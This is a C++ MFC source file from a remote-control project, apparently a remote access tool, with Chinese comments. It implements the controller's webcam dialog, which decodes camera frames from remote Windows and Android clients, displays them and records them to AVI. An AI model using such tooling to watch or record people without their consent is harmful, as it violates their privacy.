// VideoDlg.cpp : 实现文件 // #include "stdafx.h" #include "2015Remote.h" #include "VideoDlg.h" #include "afxdialogex.h" // Android 客户端直接发 JPEG:用项目已在用的 libjpeg(HideScreenSpyDlg.cpp 的 // JPG_BMP 走同一套 API 与同一份库),不再引入 turbojpeg 的 tj* 运行时符号。 #include "../common/jpeglib.h" enum { IDM_ENABLECOMPRESS = 0x0010, // 视频压缩 IDM_SAVEAVI, // 保存录像 }; // CVideoDlg 对话框 IMPLEMENT_DYNAMIC(CVideoDlg, CDialog) void CVideoDlg::SaveAvi(void) { CMenu *pSysMenu = GetSystemMenu(FALSE); if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED) { pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED); m_aviFile.Empty(); m_aviStream.Close(); return; } CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.avi"); CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, _T("Video(*.avi)|*.avi|"), this); if(dlg.DoModal () != IDOK) return; m_aviFile = dlg.GetPathName(); int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) { CString msg; msg.FormatL("创建录像文件失败: %s\r\n错误代码: %s", m_aviFile.GetString(), CBmpToAvi::GetErrMsg(code).c_str()); MessageBox(msg, _TR("提示"), MB_ICONINFORMATION); m_aviFile.Empty(); } else { pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED); } } CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA) { m_nCount = 0; m_aviFile.Empty(); m_BitmapInfor_Full = NULL; m_pVideoCodec = NULL; m_BitmapData_Full = NULL; m_BitmapCompressedData_Full = NULL; ResetScreen(); } void CVideoDlg::ResetScreen(void) { if (m_BitmapInfor_Full) { delete m_BitmapInfor_Full; m_BitmapInfor_Full = NULL; } int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize]; m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, iBitMapInforSize, 1); m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; } CVideoDlg::~CVideoDlg() { if (!m_aviFile.IsEmpty()) { SaveAvi(); m_aviFile.Empty(); } if (m_pVideoCodec) { delete m_pVideoCodec; m_pVideoCodec = NULL; } if (m_BitmapData_Full) { delete m_BitmapData_Full; m_BitmapData_Full = NULL; } if (m_BitmapInfor_Full) { delete m_BitmapInfor_Full; m_BitmapInfor_Full = NULL; } if (m_BitmapCompressedData_Full) { delete m_BitmapCompressedData_Full; m_BitmapCompressedData_Full = NULL; } } void CVideoDlg::DoDataExchange(CDataExchange* pDX) { __super::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CVideoDlg, CDialog) ON_WM_CLOSE() ON_WM_SYSCOMMAND() ON_WM_PAINT() END_MESSAGE_MAP() // CVideoDlg 消息处理程序 BOOL CVideoDlg::OnInitDialog() { __super::OnInitDialog(); CMenu* SysMenu = GetSystemMenu(FALSE); if (SysMenu != NULL) { m_hDD = DrawDibOpen(); m_hDC = ::GetDC(m_hWnd); SysMenu->AppendMenuL(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)"); SysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI, "保存录像(&V)"); SysMenu->AppendMenuSeparator(MF_SEPARATOR); CString strString; strString.FormatL("%s - 视频管理 %d×%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); return TRUE; } void CVideoDlg::OnClose() { CancelIO(); // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; } if (!m_aviFile.IsEmpty()) { SaveAvi(); m_aviFile.Empty(); } DialogBase::OnClose(); } void CVideoDlg::OnReceiveComplete(void) { ++m_nCount; switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_WEBCAM_DIB: { DrawDIB();//这里是绘图函数,转到他的代码看一下 break; } default: // 传输发生异常数据 break; } } void CVideoDlg::DrawDIB(void) { CMenu* SysMenu = GetSystemMenu(FALSE); if (SysMenu == NULL) return; const int nHeadLen = 1 + 1 + 4; Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); LPBYTE szBuffer = tmp.Buf(); UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); if (szBuffer[1] == 0) { // 没有经过H263压缩的原始数据,不需要解码 // 第一次,没有压缩,说明服务端不支持指定的解码器 if (m_nCount == 1) { SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); } else if (*(LPDWORD)(szBuffer + 2) == ENCODER_JPEG_DIRECT) { // Android(Camera2)直接发 JPEG:不经过 VFW ICM,turbojpeg 直解 if (DecodeJpegFrame(szBuffer + nHeadLen, ulBufferLen - nHeadLen)) { SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); } } else { // 解码 ////这里缓冲区里的的第二个字符正好是是否视频解码 InitCodec(*(LPDWORD)(szBuffer + 2)); //判断 if (m_pVideoCodec != NULL) { SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压 //这里开始解码,解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式 m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, (LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压 } } PostMessage(WM_PAINT); } namespace { // libjpeg 的默认 error_exit 会调 exit():一帧畸形 JPEG 就能结束整个服务端。 // 与 HideScreenSpyDlg.cpp 的 JPG_BMP 同一套 setjmp/longjmp 兜底。 struct VideoJpegErrorMgr { jpeg_error_mgr pub; // 必须是第一个成员 jmp_buf jb; }; void VideoJpegErrorExit(j_common_ptr cinfo) { longjmp(reinterpret_cast(cinfo->err)->jb, 1); } void VideoJpegSilentMessage(j_common_ptr /*cinfo*/) { // 畸形/截断的 JPEG 可能被反复发送,保持静默避免刷屏 } } // namespace // Android 客户端(COMMAND_WEBCAM → Camera2 JPEG)的帧解码。 // BITMAPINFO 描述的是解码后的位图(BI_RGB / 24bpp / bottom-up),与 Windows // 摄像头的 DIB 布局一致,DrawDib 和「保存 AVI」两条路径都不用改。 bool CVideoDlg::DecodeJpegFrame(const BYTE* data, UINT len) { if (!data || len == 0 || !m_BitmapInfor_Full || !m_BitmapData_Full) return false; const int dw = m_BitmapInfor_Full->bmiHeader.biWidth; const int dh = abs(m_BitmapInfor_Full->bmiHeader.biHeight); if (dw <= 0 || dh <= 0) return false; // 值初始化:longjmp 回来后要 destroy,不能是栈上的垃圾指针 struct jpeg_decompress_struct jds = {}; VideoJpegErrorMgr jem; jds.err = jpeg_std_error(&jem.pub); jem.pub.error_exit = VideoJpegErrorExit; jem.pub.output_message = VideoJpegSilentMessage; volatile bool created = false; if (setjmp(jem.jb) != 0) { if (created) jpeg_destroy_decompress(&jds); return false; } jpeg_create_decompress(&jds); created = true; jpeg_mem_src(&jds, const_cast(data), len); if (jpeg_read_header(&jds, TRUE) != JPEG_HEADER_OK) { jpeg_destroy_decompress(&jds); return false; } if ((int)jds.image_width != dw || (int)jds.image_height != dh) { // BITMAPINFO 与相机分辨率在同一会话里固定;尺寸对不上宁可丢帧 Mprintf("[Video] JPEG %ux%u != bitmap %dx%d, frame dropped\n", jds.image_width, jds.image_height, dw, dh); jpeg_destroy_decompress(&jds); return false; } jds.out_color_space = JCS_EXT_BGR; if (!jpeg_start_decompress(&jds)) { jpeg_destroy_decompress(&jds); return false; } // BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算(见 Android 客户端 // SendBitmapInfo),这里逐行写回 bottom-up:第 0 行是图像最底部。 const int stride = (dw * 3 + 3) & ~3; while (jds.output_scanline < jds.output_height) { const int y = (int)jds.output_scanline; JSAMPROW row = m_BitmapData_Full + (size_t)(dh - 1 - y) * stride; if (jpeg_read_scanlines(&jds, &row, 1) != 1) { jpeg_destroy_decompress(&jds); return false; } } if (!jpeg_finish_decompress(&jds)) { jpeg_destroy_decompress(&jds); return false; } jpeg_destroy_decompress(&jds); return true; } void CVideoDlg::InitCodec(DWORD fccHandler) { if (m_pVideoCodec != NULL) return; m_pVideoCodec = new CVideoCodec; if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) { Mprintf("======> InitCompressor failed \n"); delete m_pVideoCodec; // 置NULL, 发送时判断是否为NULL来判断是否压缩 m_pVideoCodec = NULL; // 通知服务端不启用压缩 BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } } void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) { // TODO: 在此添加消息处理程序代码和/或调用默认值 switch (nID) { case IDM_SAVEAVI: { SaveAvi(); break; } case IDM_ENABLECOMPRESS: { CMenu *pSysMenu = GetSystemMenu(FALSE); bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED); bIsChecked = !bIsChecked; BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS; if (!bIsChecked) bToken = COMMAND_WEBCAM_DISABLECOMPRESS; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); break; } } __super::OnSysCommand(nID, lParam); } void CVideoDlg::OnPaint() { CPaintDC dc(this); // device context for painting if (m_BitmapData_Full==NULL) { return; } RECT rect; GetClientRect(&rect); DrawDibDraw ( m_hDD, m_hDC, 0, 0, rect.right, rect.bottom, (LPBITMAPINFOHEADER)m_BitmapInfor_Full, m_BitmapData_Full, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, DDF_SAME_HDC ); if (!m_aviFile.IsEmpty()) { m_aviStream.Write(m_BitmapData_Full); // 提示正在录像 SetBkMode(m_hDC, TRANSPARENT); SetTextColor(m_hDC, RGB(0xff,0x00,0x00)); const LPCTSTR lpTipsString = "Recording"; TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString)); } }